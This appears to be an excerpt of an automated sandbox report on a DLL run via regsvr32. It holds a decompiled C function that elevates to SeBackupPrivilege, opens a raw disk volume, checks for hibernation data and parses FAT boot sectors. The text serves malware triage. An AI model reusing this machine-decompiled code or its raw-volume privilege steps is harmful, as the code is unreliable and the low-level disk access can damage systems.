                                                                                                        0x180010526
                                                                                                        0x18001052a
                                                                                                        0x180010534
                                                                                                        0x18001053c
                                                                                                        0x180010545
                                                                                                        0x180010548
                                                                                                        0x18001054f
                                                                                                        0x180010554
                                                                                                        0x180010559
                                                                                                        0x18001055e
                                                                                                        0x180010566
                                                                                                        0x180010568
                                                                                                        0x18001056f
                                                                                                        0x180010571
                                                                                                        0x180010576
                                                                                                        0x18001057e
                                                                                                        0x180010580
                                                                                                        0x180010584
                                                                                                        0x18001058d
                                                                                                        0x180010598
                                                                                                        0x18001059b
                                                                                                        0x1800105a2
                                                                                                        0x1800105a7
                                                                                                        0x1800105af
                                                                                                        0x1800105b4
                                                                                                        0x1800105bd
                                                                                                        0x1800105c5
                                                                                                        0x1800105cc
                                                                                                        0x1800105cf
                                                                                                        0x1800105d2
                                                                                                        0x1800105e3
                                                                                                        0x1800105e8
                                                                                                        0x1800105f3
                                                                                                        0x1800105f5
                                                                                                        0x180010607
                                                                                                        0x18001060f
                                                                                                        0x180010611
                                                                                                        0x180010623
                                                                                                        0x180010625
                                                                                                        0x180010637
                                                                                                        0x18001063f
                                                                                                        0x180010649
                                                                                                        0x18001065f
                                                                                                        0x180010666
                                                                                                        0x18001066e
                                                                                                        0x180010671
                                                                                                        0x180010678
                                                                                                        0x180010684
                                                                                                        0x18001068b
                                                                                                        0x18001068b
                                                                                                        0x18001068e
                                                                                                        0x18001069c
                                                                                                        0x1800106a2
                                                                                                        0x1800106b3
                                                                                                        0x1800106b6
                                                                                                        0x1800106c0
                                                                                                        0x1800106d1
                                                                                                        0x1800106d4
                                                                                                        0x1800106de
                                                                                                        0x1800106ef
                                                                                                        0x1800106f2
                                                                                                        0x1800106fc
                                                                                                        0x18001070d
                                                                                                        0x180010710
                                                                                                        0x18001071a
                                                                                                        0x18001072b
                                                                                                        0x18001072e
                                                                                                        0x180010738
                                                                                                        0x180010749
                                                                                                        0x18001074c
                                                                                                        0x180010756
                                                                                                        0x180010767
                                                                                                        0x18001076a
                                                                                                        0x180010774
                                                                                                        0x180010779
                                                                                                        0x180010785
                                                                                                        0x180010788
                                                                                                        0x180010792
                                                                                                        0x1800107a2
                                                                                                        0x1800107a6
                                                                                                        0x1800107ae
                                                                                                        0x1800107be
                                                                                                        0x1800107c1
                                                                                                        0x1800107ca
                                                                                                        0x1800107da
                                                                                                        0x1800107dd
                                                                                                        0x1800107e6
                                                                                                        0x1800107f6
                                                                                                        0x1800107f9
                                                                                                        0x180010802
                                                                                                        0x180010812
                                                                                                        0x180010815
                                                                                                        0x18001081e
                                                                                                        0x18001082e
                                                                                                        0x180010831
                                                                                                        0x18001083a
                                                                                                        0x180010849
                                                                                                        0x18001084c
                                                                                                        0x180010855
                                                                                                        0x18001085a
                                                                                                        0x18001086a
                                                                                                        0x18001087b
                                                                                                        0x18001087f
                                                                                                        0x18001088f
                                                                                                        0x180010892
                                                                                                        0x18001089b
                                                                                                        0x1800108aa
                                                                                                        0x1800108ad
                                                                                                        0x1800108b6
                                                                                                        0x1800108bb
                                                                                                        0x1800108bb
                                                                                                        0x1800108bf
                                                                                                        0x1800108cd
                                                                                                        0x1800108d2
                                                                                                        0x1800108d9
                                                                                                        0x1800108e7
                                                                                                        0x1800108ec
                                                                                                        0x1800108f4
                                                                                                        0x1800108f9
                                                                                                        0x1800108fd
                                                                                                        0x18001090c
                                                                                                        0x180010910
                                                                                                        0x180010920
                                                                                                        0x180010923
                                                                                                        0x18001092c
                                                                                                        0x18001093c
                                                                                                        0x18001093f
                                                                                                        0x180010948
                                                                                                        0x180010957
                                                                                                        0x18001095a
                                                                                                        0x180010963
                                                                                                        0x180010973
                                                                                                        0x180010976
                                                                                                        0x18001097f
                                                                                                        0x18001098f
                                                                                                        0x180010992
                                                                                                        0x18001099b
                                                                                                        0x1800109ab
                                                                                                        0x1800109ae
                                                                                                        0x1800109b7
                                                                                                        0x1800109c7
                                                                                                        0x1800109ca
                                                                                                        0x1800109d3
                                                                                                        0x1800109e2
                                                                                                        0x1800109e5
                                                                                                        0x1800109ee
                                                                                                        0x1800109f3
                                                                                                        0x180010a07
                                                                                                        0x180010a13
                                                                                                        0x180010a21
                                                                                                        0x180010a26
                                                                                                        0x180010a2e
                                                                                                        0x180010a41
                                                                                                        0x180010a44
                                                                                                        0x180010a50
                                                                                                        0x180010a5e
                                                                                                        0x180010a63
                                                                                                        0x180010a6b
                                                                                                        0x180010a70
                                                                                                        0x180010a7a
                                                                                                        0x180010a7f
                                                                                                        0x180010a84
                                                                                                        0x180010a93
                                                                                                        0x180010a99
                                                                                                        0x180010aa8
                                                                                                        0x180010aba
                                                                                                        0x180010ac4
                                                                                                        0x180010acd
                                                                                                        0x180010ad2
                                                                                                        0x180010ad8
                                                                                                        0x180010add
                                                                                                        0x180010ae0
                                                                                                        0x180010ae9
                                                                                                        0x180010af2
                                                                                                        0x180010b08
                                                                                                        0x180010b0f
                                                                                                        0x180010b18
                                                                                                        0x180010b1e
                                                                                                        0x180010b21
                                                                                                        0x180010b26
                                                                                                        0x180010b3c
                                                                                                        0x180010b3f
                                                                                                        0x180010b4c
                                                                                                        0x180010b64
                                                                                                        0x180010b72
                                                                                                        0x180010b7f
                                                                                                        0x180010b81
                                                                                                        0x180010b85
                                                                                                        0x180010b8e
                                                                                                        0x180010b99
                                                                                                        0x180010b9e
                                                                                                        0x180010ba5
                                                                                                        0x180010bb3
                                                                                                        0x180010bb8
                                                                                                        0x180010bbe
                                                                                                        0x180010bc6
                                                                                                        0x180010bcf
                                                                                                        0x180010bd9
                                                                                                        0x180010be2
                                                                                                        0x180010bf1
                                                                                                        0x180010bf9
                                                                                                        0x180010bfd
                                                                                                        0x180010c09
                                                                                                        0x180010c12
                                                                                                        0x180010c17
                                                                                                        0x180010c1f
                                                                                                        0x180010c28
                                                                                                        0x180010c2d
                                                                                                        0x180010c40
                                                                                                        0x180010c47
                                                                                                        0x180010c49
                                                                                                        0x180010c55
                                                                                                        0x180010c58
                                                                                                        0x180010c62
                                                                                                        0x180010c67
                                                                                                        0x180010c6b
                                                                                                        0x180010c74
                                                                                                        0x180010c7b
                                                                                                        0x180010c82
                                                                                                        0x180010c85
                                                                                                        0x180010c89
                                                                                                        0x180010c8e
                                                                                                        0x180010c9a
                                                                                                        0x180010ca5
                                                                                                        0x180010caa
                                                                                                        0x180010caf
                                                                                                        0x180010cbe
                                                                                                        0x180010ccc
                                                                                                        0x180010cd3
                                                                                                        0x180010cd7
                                                                                                        0x180010cda
                                                                                                        0x180010cdf
                                                                                                        0x180010cf4
                                                                                                        0x180010d01
                                                                                                        0x180010d07
                                                                                                        0x180010d1a
                                                                                                        0x180010d20
                                                                                                        0x180010d2c
                                                                                                        0x180010d36
                                                                                                        0x180010d40
                                                                                                        0x180010d49
                                                                                                        0x180010d51
                                                                                                        0x180010d5d
                                                                                                        0x180010d78
                                                                                                        0x180010d90
                                                                                                        0x180010d96
                                                                                                        0x180010d9b
                                                                                                        0x180010dcb

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorFileLastRead$_invalid_parameter_noinfoswprintf
                                                                                                        • String ID: BS_BootSig: %u$ BS_DrvNum: %u$ BS_VolID: %u$ BkBootSec: %lu$ BootSig: %lu$ BytesPerSector: %I64u$ CountofClusters: %I64u$ DataSec: %I64u$ DrvNum: %lu$ ExtFlags: %lu$ FATSz32: %lu$ FATSz: %I64u$ FSInfo: %lu$ FSVer: %lu$ FilSysType: %S$ FirstDataSector: %I64u$ HiddenSectors: %lu$ MediaType: %X$ NumberFATs: %lu$ NumberOfHeads: %lu$ OEMName: %S$ ReservedSectors: %lu$ RootClus: %lu$ RootDirSectors: %I64u$ RootEntriesCount: %lu$ SectorsPerCluster: %I64u$ SectorsPerTrack: %lu$ TotalSectors: %I64u$ VolID: %lu$ VolLab: %S$Error while reading bootblock: %s$Error: %s$Error: malloc() returned NULL.$Reading FAT, %lu bytes at offset=%I64u$Reading root directory, %lu bytes at offset=%I64u.$Root directory is too big, %I64u bytes$This is a FAT12 disk.$This is a FAT16 disk.$This is a FAT32 disk.$This is not a FAT disk (BytesPerSector is zero).$This is not a FAT disk (SectorsPerCluster is zero).$This is not a FAT disk (different cookie).$Trying to access %I64u, but the last sector is at %I64u
                                                                                                        • API String ID: 2799645830-2940314134
                                                                                                        • Opcode ID: eb010d45208af5411551ee79afc110266b39fbf9dbd1eed07d63eb5a490ca25d
                                                                                                        • Instruction ID: 6fc9d34088cb5af01f2faba7b1ace79eee958a41015d849a1fcbd9ca946884d9
                                                                                                        • Opcode Fuzzy Hash: eb010d45208af5411551ee79afc110266b39fbf9dbd1eed07d63eb5a490ca25d
                                                                                                        • Instruction Fuzzy Hash: 1F428172614A9886E7A1DF65A450BEE73A1F78D7C8F918022F9CC57B59DF38C609CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180007ABC Relevance: 69.6, APIs: 25, Strings: 13, Instructions: 3070fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 62%
                                                                                                        			E00000001180007ABC(void* __ecx, void* __ebp, long long __rbx, signed int __rcx, signed int* __rdx, signed short* __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r14;
				void* _t1170;
				void* _t1173;
				long _t1174;
				void* _t1183;
				long _t1191;
				long _t1195;
				void* _t1220;
				signed int _t1233;
				void* _t1239;
				void* _t1255;
				void* _t1270;
				void* _t1282;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1289;
				void* _t1291;
				signed int _t1296;
				void* _t1303;
				void* _t1304;
				void* _t1308;
				void* _t1310;
				signed int _t1315;
				void* _t1322;
				void* _t1323;
				void* _t1327;
				void* _t1329;
				signed int _t1334;
				void* _t1342;
				void* _t1343;
				void* _t1347;
				void* _t1349;
				signed int _t1354;
				void* _t1362;
				void* _t1363;
				void* _t1367;
				void* _t1369;
				signed int _t1374;
				signed int _t1398;
				signed int _t1405;
				signed int _t1411;
				signed int _t1416;
				signed int _t1421;
				signed int _t1426;
				void* _t1492;
				void* _t1496;
				void* _t1618;
				void* _t1673;
				void* _t1684;
				void* _t1685;
				void* _t1686;
				void* _t1687;
				void* _t1688;
				void* _t1702;
				void* _t1703;
				void* _t1704;
				void* _t1705;
				void* _t1706;
				void* _t1722;
				void* _t1737;
				void* _t1742;
				void* _t1745;
				void* _t1746;
				void* _t1747;
				void* _t1748;
				void* _t1749;
				void* _t1757;
				void* _t1760;
				void* _t1761;
				void* _t1762;
				void* _t1763;
				void* _t1764;
				void* _t1780;
				void* _t1794;
				void* _t1799;
				void* _t1802;
				void* _t1803;
				void* _t1804;
				void* _t1805;
				void* _t1806;
				void* _t1814;
				void* _t1817;
				void* _t1818;
				void* _t1819;
				void* _t1820;
				void* _t1821;
				void* _t1837;
				void* _t1851;
				void* _t1856;
				void* _t1859;
				void* _t1860;
				void* _t1861;
				void* _t1862;
				void* _t1863;
				void* _t1871;
				void* _t1874;
				void* _t1875;
				void* _t1876;
				void* _t1877;
				void* _t1878;
				void* _t1894;
				void* _t1908;
				void* _t1913;
				void* _t1916;
				void* _t1917;
				void* _t1918;
				void* _t1919;
				void* _t1920;
				void* _t1928;
				void* _t1931;
				void* _t1932;
				void* _t1933;
				void* _t1934;
				void* _t1935;
				void* _t1952;
				signed long long _t1961;
				signed long long _t1962;
				signed int* _t1963;
				intOrPtr* _t1964;
				intOrPtr _t1965;
				long long _t1969;
				signed int _t1971;
				signed int _t1972;
				long long _t1979;
				signed int _t1985;
				unsigned long long _t1988;
				intOrPtr _t1989;
				intOrPtr* _t1991;
				void* _t1999;
				void* _t2003;
				intOrPtr _t2006;
				signed int _t2010;
				intOrPtr _t2011;
				intOrPtr* _t2013;
				void* _t2021;
				void* _t2025;
				intOrPtr _t2028;
				unsigned long long _t2033;
				intOrPtr _t2037;
				long long* _t2039;
				signed int _t2041;
				intOrPtr* _t2044;
				unsigned long long _t2052;
				intOrPtr _t2053;
				intOrPtr _t2054;
				intOrPtr _t2057;
				intOrPtr _t2058;
				intOrPtr* _t2061;
				signed int _t2064;
				intOrPtr _t2068;
				long long* _t2074;
				intOrPtr* _t2076;
				intOrPtr* _t2077;
				long long* _t2082;
				intOrPtr* _t2084;
				intOrPtr* _t2085;
				long long* _t2086;
				signed long long _t2094;
				intOrPtr* _t2097;
				signed int _t2098;
				intOrPtr _t2102;
				long long* _t2109;
				intOrPtr* _t2111;
				intOrPtr* _t2112;
				long long* _t2118;
				intOrPtr* _t2120;
				intOrPtr* _t2121;
				long long* _t2122;
				signed long long _t2130;
				signed int _t2134;
				intOrPtr _t2138;
				long long* _t2145;
				intOrPtr* _t2147;
				intOrPtr* _t2148;
				long long* _t2154;
				intOrPtr* _t2156;
				intOrPtr* _t2157;
				long long* _t2158;
				signed long long _t2166;
				signed int _t2170;
				intOrPtr _t2174;
				long long* _t2181;
				intOrPtr* _t2183;
				intOrPtr* _t2184;
				long long* _t2190;
				intOrPtr* _t2192;
				intOrPtr* _t2193;
				long long* _t2194;
				signed long long _t2202;
				signed int _t2205;
				intOrPtr _t2209;
				long long* _t2216;
				intOrPtr* _t2218;
				intOrPtr* _t2219;
				long long* _t2225;
				intOrPtr* _t2227;
				intOrPtr* _t2228;
				long long* _t2229;
				signed long long _t2238;
				signed int* _t2244;
				signed int _t2246;
				signed short* _t2252;
				intOrPtr _t2322;
				signed int _t2331;
				long long* _t2335;
				intOrPtr _t2345;
				signed int _t2354;
				long long* _t2358;
				intOrPtr _t2380;
				intOrPtr _t2384;
				long long* _t2386;
				intOrPtr* _t2393;
				intOrPtr _t2409;
				signed int _t2414;
				long long _t2416;
				signed int _t2417;
				intOrPtr _t2432;
				signed int _t2437;
				long long _t2439;
				signed int _t2440;
				intOrPtr _t2455;
				signed int _t2460;
				long long _t2462;
				signed int _t2463;
				intOrPtr _t2478;
				signed int _t2483;
				long long _t2485;
				signed int _t2486;
				intOrPtr _t2502;
				signed int _t2507;
				long long _t2509;
				signed int _t2510;
				signed int _t2522;
				signed int _t2524;
				signed int _t2535;
				signed int* _t2549;
				intOrPtr _t2550;
				signed int* _t2562;
				intOrPtr _t2563;
				intOrPtr _t2570;
				intOrPtr _t2571;
				intOrPtr _t2586;
				intOrPtr _t2588;
				intOrPtr _t2590;
				intOrPtr _t2593;
				long long _t2601;
				intOrPtr _t2606;
				long long _t2614;
				intOrPtr _t2619;
				long long _t2627;
				intOrPtr _t2632;
				long long _t2640;
				HANDLE* _t2653;
				signed short* _t2654;
				intOrPtr _t2656;
				intOrPtr _t2658;
				intOrPtr _t2660;
				intOrPtr _t2662;
				signed int _t2665;
				signed int _t2666;
				signed int _t2671;
				signed int _t2672;
				intOrPtr _t2676;
				intOrPtr _t2677;
				signed long long _t2682;
				intOrPtr _t2684;
				intOrPtr _t2685;
				signed long long _t2690;
				intOrPtr _t2691;
				intOrPtr _t2692;
				signed long long _t2697;
				intOrPtr _t2698;
				intOrPtr _t2699;
				signed long long _t2704;
				intOrPtr _t2705;
				intOrPtr _t2706;
				signed long long _t2711;
				void* _t2714;
				intOrPtr _t2716;
				signed int _t2717;
				signed int _t2718;
				void* _t2719;
				intOrPtr _t2720;
				signed int _t2721;
				signed int _t2722;
				void* _t2723;
				signed int _t2725;
				signed int _t2726;
				signed int _t2731;
				signed int _t2732;
				signed int _t2734;
				intOrPtr _t2735;
				signed int _t2737;
				intOrPtr _t2738;
				signed int _t2739;
				intOrPtr _t2740;
				signed int _t2741;
				intOrPtr _t2742;
				signed int _t2743;
				intOrPtr _t2744;
				void* _t2746;
				signed int _t2747;
				void* _t2749;
				signed long long _t2750;
				signed int _t2768;
				signed int* _t2775;
				signed int* _t2783;
				intOrPtr* _t2791;
				intOrPtr* _t2795;
				long long _t2796;
				signed int _t2800;
				long long _t2801;
				signed int _t2805;
				long long _t2806;
				signed int _t2810;
				long long _t2811;
				signed int _t2815;
				intOrPtr _t2817;
				void* _t2825;
				char* _t2851;
				signed int* _t2855;
				intOrPtr _t2859;
				signed int* _t2863;
				intOrPtr _t2872;
				char* _t2899;
				signed int _t2900;
				signed int _t2901;
				long _t2902;
				signed int _t2905;
				signed int _t2906;
				signed int _t2908;
				void* _t2946;
				intOrPtr _t2948;
				intOrPtr _t2951;
				intOrPtr* _t2956;
				unsigned long long _t2957;
				intOrPtr _t2958;
				intOrPtr _t2959;
				intOrPtr _t2960;
				intOrPtr _t2961;
				signed int _t2964;
				signed int _t2965;
				signed int _t2967;
				signed int _t2972;
				signed int _t2977;
				intOrPtr _t2978;
				void* _t2979;
				intOrPtr* _t2981;
				void* _t2982;
				intOrPtr* _t2984;
				signed int _t2987;
				signed int _t2991;
				signed int _t2995;
				signed int _t2999;
				signed int _t3003;
				void* _t3006;
				signed int* _t3007;
				signed int _t3010;
				intOrPtr _t3011;
				intOrPtr _t3012;
				intOrPtr _t3014;
				intOrPtr _t3015;
				intOrPtr* _t3016;
				signed int _t3017;
				signed int _t3018;
				long long _t3019;
				signed int _t3020;
				signed int _t3021;
				long long _t3022;
				signed int _t3023;
				signed int _t3024;
				long long _t3025;
				signed int _t3026;
				signed int _t3027;
				long long _t3028;
				signed int _t3029;
				long long _t3031;

				_t2246 = __rcx;
				_t1496 = __ebp;
				 *((long long*)(_t2749 + 0x20)) = __rbx;
				_t2747 = _t2749 - 0x470;
				_t2750 = _t2749 - 0x570;
				_t1961 =  *0x800d81f8; // 0x68308725f9ca
				_t1962 = _t1961 ^ _t2750;
				 *(_t2747 + 0x460) = _t1962;
				 *(_t2750 + 0x68) = r9d;
				_t2654 = __r8;
				_t2244 = __rdx;
				 *((long long*)(_t2750 + 0x50)) = __rcx;
				E00000001180005CCC();
				r14d = 0;
				__rdx[8] = _t2964;
				_t3007 =  &(__rdx[0x28]);
				__rdx[0xa] = _t2964;
				__rdx[0xc] = _t2964;
				_t2715 = _t1962;
				__rdx[0xe] = r14w;
				_t1963 =  &(__rdx[0x52]);
				 *_t3007 = r14w;
				asm("xorps xmm0, xmm0");
				__rdx[0x48] = _t2964;
				 *__rdx = r14d;
				__rdx[0x42] = r14d;
				__rdx[0x4a] = r14d;
				__rdx[0x5a] = _t2964;
				__rdx[0x5c] = _t2964;
				__rdx[0x5e] = _t2964;
				__rdx[0x60] = _t2964;
				__rdx[0x62] = _t2964;
				__rdx[0x64] = _t2964;
				__rdx[0x66] = _t2964;
				__rdx[0x68] = _t2964;
				asm("movups [eax], xmm0");
				_t1963[4] = _t2246;
				 *(_t2750 + 0x78) = _t1963;
				__rdx[5] = r14d;
				__rdx[0x74] = _t2964;
				__rdx[0x76] = _t2964;
				__rdx[0x78] = _t2964;
				__rdx[0x7a] = _t2964;
				__rdx[0x7c] = _t2964;
				__rdx[0x7e] = _t2964;
				__rdx[0x80] = _t2964;
				__rdx[0x6a] = _t2964;
				__rdx[0x6c] = _t2964;
				__rdx[0x6e] = _t2964;
				__rdx[0x70] = _t2964;
				__rdx[0x72] = _t2964;
				__rdx[0x84] = _t2964;
				__rdx[0x86] = _t2964;
				E0000000118005423C(__rdx, _t2747 - 0x28, __r8, _t1962, _t3006);
				_t2522 = _t1963 +  *(_t2747 - 0x28) * 0x3e8;
				__rdx[0x8c] = _t2964;
				_t1964 = __rdx[0x4c];
				__rdx[0x8a] = _t2522;
				__rdx[0x8e] = _t2522;
				if (_t1964 == 0) goto 0x80007d3d;
				r13d = r14d;
				if ( *_t1964 == _t2964) goto 0x80007cfb;
				r15d = r14d;
				if (E0000000118000C290(__rdx,  *((intOrPtr*)(_t2750 + 0x50)), __r8, _t1962, _t2747,  *((intOrPtr*)(_t2964 + _t1964))) == 1) goto 0x80007ced;
				_t1965 =  *((intOrPtr*)(_t2244 + 0x130));
				E00000001180017824(0x2a,  *((intOrPtr*)(_t2964 + _t1965)), _t2825);
				if (_t1965 != 0) goto 0x80007ccd;
				0x800264d8();
				if (_t1965 - 3 > 0) goto 0x80007ccd;
				_t2252 =  *((intOrPtr*)(_t2964 +  *((intOrPtr*)(_t2244 + 0x130))));
				_t1434 =  >  ?  *_t2252 : ( *_t2252 & 0x0000ffff) + 0x20;
				_t1385 =  >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20;
				_t1504 = ( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20) - ( >  ?  *_t2252 : ( *_t2252 & 0x0000ffff) + 0x20);
				if (( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20) == ( >  ?  *_t2252 : ( *_t2252 & 0x0000ffff) + 0x20)) goto 0x80007ced;
				r13d = r13d + 1;
				_t2965 =  &(_t3007[0]) * 8;
				if ( *((long long*)( *((intOrPtr*)(_t2244 + 0x130)) + _t2965)) != 0) goto 0x80007c49;
				_t2905 = _t2244 + 0x38;
				r14d = 0;
				_t2524 =  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x130)) + r13d * 8));
				if (_t2524 == 0) goto 0x80007d38;
				r8d = 0;
				 *(_t2750 + 0x28) = _t2524;
				 *(_t2750 + 0x20) = _t2654;
				E00000001180004968( >  ?  *_t2654 : ( *_t2654 & 0x0000ffff) + 0x20, 0,  *((intOrPtr*)(_t2244 + 0x130)), _t1962, _t2524,  *((intOrPtr*)(_t2964 + _t1964)),  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x178)), _t2964);
				goto 0x8000a9c7;
				_t2948 =  *((intOrPtr*)(_t2750 + 0x50));
				E000000011800035A0(_t1962,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x70)), _t2654,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x178)));
				GetCurrentProcess();
				if (OpenProcessToken(_t2946, _t2902, _t2653) == 0) goto 0x80007dc0;
				if (LookupPrivilegeValueA(??, ??, ??) == 0) goto 0x80007dc0;
				_t1969 =  *((intOrPtr*)(_t2747 - 0x70));
				_t2757 = _t2747 - 0x38;
				r9d = 0x10;
				 *(_t2750 + 0x28) = _t2965;
				 *((long long*)(_t2747 - 0x34)) = _t1969;
				 *(_t2747 - 0x38) = 1;
				 *(_t2747 - 0x2c) = 2;
				 *(_t2750 + 0x20) = _t2965;
				if (AdjustTokenPrivileges(??, ??, ??, ??, ??, ??) != 0) goto 0x80007dd6;
				r8d = 0;
				_t80 = _t2757 + 3; // 0x3
				E00000001180004968(0, _t80, _t1969, _t1962, "SeBackupPrivilege", _t2747 - 0x38, L"Info: could not elevate to SeBackupPrivilege.", _t2714);
				_t1170 = E000000011800544CC(_t1969, _t2244, _t2654, _t1962, _t2747);
				 *((long long*)(_t2244 + 0x28)) = _t1969;
				if (_t1969 == 0) goto 0x8000a9c7;
				0x800264d8();
				_t83 = _t1969 + 1; // 0x1
				r8d = _t83;
				__imp__GetVolumePathNameW();
				if (_t1170 != 0) goto 0x80007e20;
				0x800264d8();
				_t85 = _t1969 + 1; // 0x1
				E00000001180053AC8(_t1969,  *((intOrPtr*)(_t2244 + 0x28)), _t85, _t2654);
				E00000001180017824(0,  *((intOrPtr*)(_t2244 + 0x28)), L"Info: could not elevate to SeBackupPrivilege.");
				if (_t1969 ==  *((intOrPtr*)(_t2244 + 0x28))) goto 0x80007e44;
				if ( *(_t1969 - 2) != 0x5c) goto 0x80007e44;
				 *(_t1969 - 2) = r14w;
				0x800264d8();
				_t91 = _t1969 + 2; // 0x2
				0x80026bf8();
				 *((long long*)(_t2244 + 0x30)) = _t1969;
				if (_t1969 != 0) goto 0x80007e6b;
				goto 0x8000a9c2;
				_t1173 = E00000001180003248(0, _t1969, _t1969, _t91, L"%s\\",  *((intOrPtr*)(_t2244 + 0x28)), _t2746);
				r8d = 0x104;
				__imp__GetVolumeNameForVolumeMountPointW();
				r14d = 0;
				if (_t1173 != 0) goto 0x80007f1b;
				0x800264d8();
				if (_t1969 - 0x2f <= 0) goto 0x80007f03;
				_t1174 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t1174, _t2244, _t2747 + 0x60,  *((intOrPtr*)(_t2244 + 0x28)));
				 *(_t2750 + 0x28) = _t2747 + 0x60;
				r8d = 0;
				_t1971 =  *((intOrPtr*)(_t2244 + 0x30));
				 *(_t2750 + 0x20) = _t1971;
				E00000001180004968(0, 0, _t1971, _t1962, _t2244 + 0xa0, _t2747 + 0x60,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x140)));
				E00000001180053D58(_t2244,  *((intOrPtr*)(_t2244 + 0x28)), _t2715);
				goto 0x8000a9c2;
				E00000001180003248(0, _t1971, _t2244 + 0xa0, _t2244 + 0xa0, L"\\\\.\\%s",  *((intOrPtr*)(_t2244 + 0x30)));
				E00000001180053AC8(_t1971, _t2905, _t2244 + 0xa0, _t2244 + 0xa0);
				E00000001180017824(0, _t2905,  *((intOrPtr*)(_t2244 + 0x30)));
				if (_t1971 == _t2905) goto 0x80007f46;
				if ( *(_t1971 - 2) != 0x5c) goto 0x80007f46;
				 *(_t1971 - 2) = r14w;
				0x800264d8();
				_t110 = _t1971 + 0xe; // 0xe
				_t3010 = _t110;
				0x80026bf8();
				_t2967 = _t1971;
				if (_t1971 != 0) goto 0x80007f79;
				E00000001180053D58(_t2244,  *((intOrPtr*)(_t2244 + 0x30)), _t2715);
				goto 0x8000a9c2;
				E00000001180003248(0, _t1971, _t2967, _t3010, L"%s\\hiberfil.sys",  *((intOrPtr*)(_t2244 + 0x30)));
				_t1183 = E00000001180054B00(_t2244, _t2747 - 0x60, _t2967, _t2715, L"rb");
				r15d = 0;
				if (_t1183 != 0) goto 0x80007ffc;
				if ( *((intOrPtr*)(_t2747 - 0x60)) == 0) goto 0x80007ffc;
				 *(_t2747 - 0x78) = r15d;
				_t118 = _t3010 + 1; // 0x1
				r8d = _t118;
				E00000001180054E94(_t2967, L"rb",  *((intOrPtr*)(_t2747 - 0x60)));
				if (_t1971 != 1) goto 0x80007ffc;
				if ( *(_t2747 - 0x78) == r15d) goto 0x80007ffc;
				r8d = 0;
				E00000001180004968(0, 0, _t1971, _t2715, _t2967, L"rb", L"Will not process this disk, it contains hybernated data.");
				E00000001180053D58(_t2244,  *((intOrPtr*)(_t2244 + 0x28)), _t2715);
				E00000001180053D58(_t2244,  *((intOrPtr*)(_t2244 + 0x30)), _t2715);
				goto 0x8000a9c2;
				E00000001180053D58(_t2244, _t2967, _t2715);
				r8d = 0;
				_t1972 =  *((intOrPtr*)(_t2244 + 0x28));
				 *(_t2750 + 0x28) = _t1972;
				 *(_t2750 + 0x20) = _t2905;
				E00000001180004968(0, 0, _t1972, _t2715, _t2967, L"rb",  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0xe8)));
				r14d = 3;
				 *(_t2750 + 0x30) = _t3010;
				r8d = r14d;
				 *(_t2750 + 0x28) = r15d;
				r9d = 0;
				 *(_t2750 + 0x20) = r14d;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				 *(_t2244 + 0x20) = _t1972;
				if (_t1972 != 0xffffffff) goto 0x800080ac;
				_t1191 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t1191, _t2244, _t2747 + 0x60,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0xe8)));
				r8d = 0;
				 *(_t2750 + 0x30) = _t2747 + 0x60;
				_t136 = _t2967 - 2; // -2
				 *(_t2750 + 0x28) =  *((intOrPtr*)(_t2244 + 0x28));
				 *(_t2750 + 0x20) = _t2905;
				E00000001180004968(0, _t136,  *((intOrPtr*)(_t2244 + 0x28)), _t2715, _t2967, _t2747 + 0x60, L"Cannot open volume \'%s\' at mountpoint \'%s\': %s");
				goto 0x80007ef1;
				 *(_t2750 + 0x38) = _t3010;
				 *(_t2750 + 0x30) = _t2747 - 0x78;
				 *(_t2750 + 0x28) = 0x18;
				 *(_t2750 + 0x20) = _t2747 - 0x18;
				r9d = 8;
				 *(_t2747 - 0x58) = _t3010;
				if (DeviceIoControl(??, ??, ??, ??, ??, ??, ??, ??) != 0) goto 0x80008134;
				_t1195 = GetLastError();
				if (_t1195 == 0) goto 0x80008134;
				if (_t1195 == 0xea) goto 0x80008134;
				r8d = 0;
				 *(_t2750 + 0x28) =  *((intOrPtr*)(_t2244 + 0x28));
				 *(_t2750 + 0x20) = _t2905;
				E00000001180004968(0, 0,  *((intOrPtr*)(_t2244 + 0x28)), _t2715, _t2967, _t2747 - 0x58,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0x100)));
				CloseHandle(??);
				goto 0x80007ef1;
				 *((long long*)(_t2244 + 0x198)) =  *((intOrPtr*)(_t2747 - 0x10)) +  *((intOrPtr*)(_t2747 - 0x18));
				if (GetDiskFreeSpaceExW(??, ??, ??, ??) == 0) goto 0x80008170;
				 *((long long*)(_t2244 + 0x1a0)) =  *((intOrPtr*)(_t2747 - 0x50));
				 *(_t2750 + 0x38) = _t3010;
				r9d = 0;
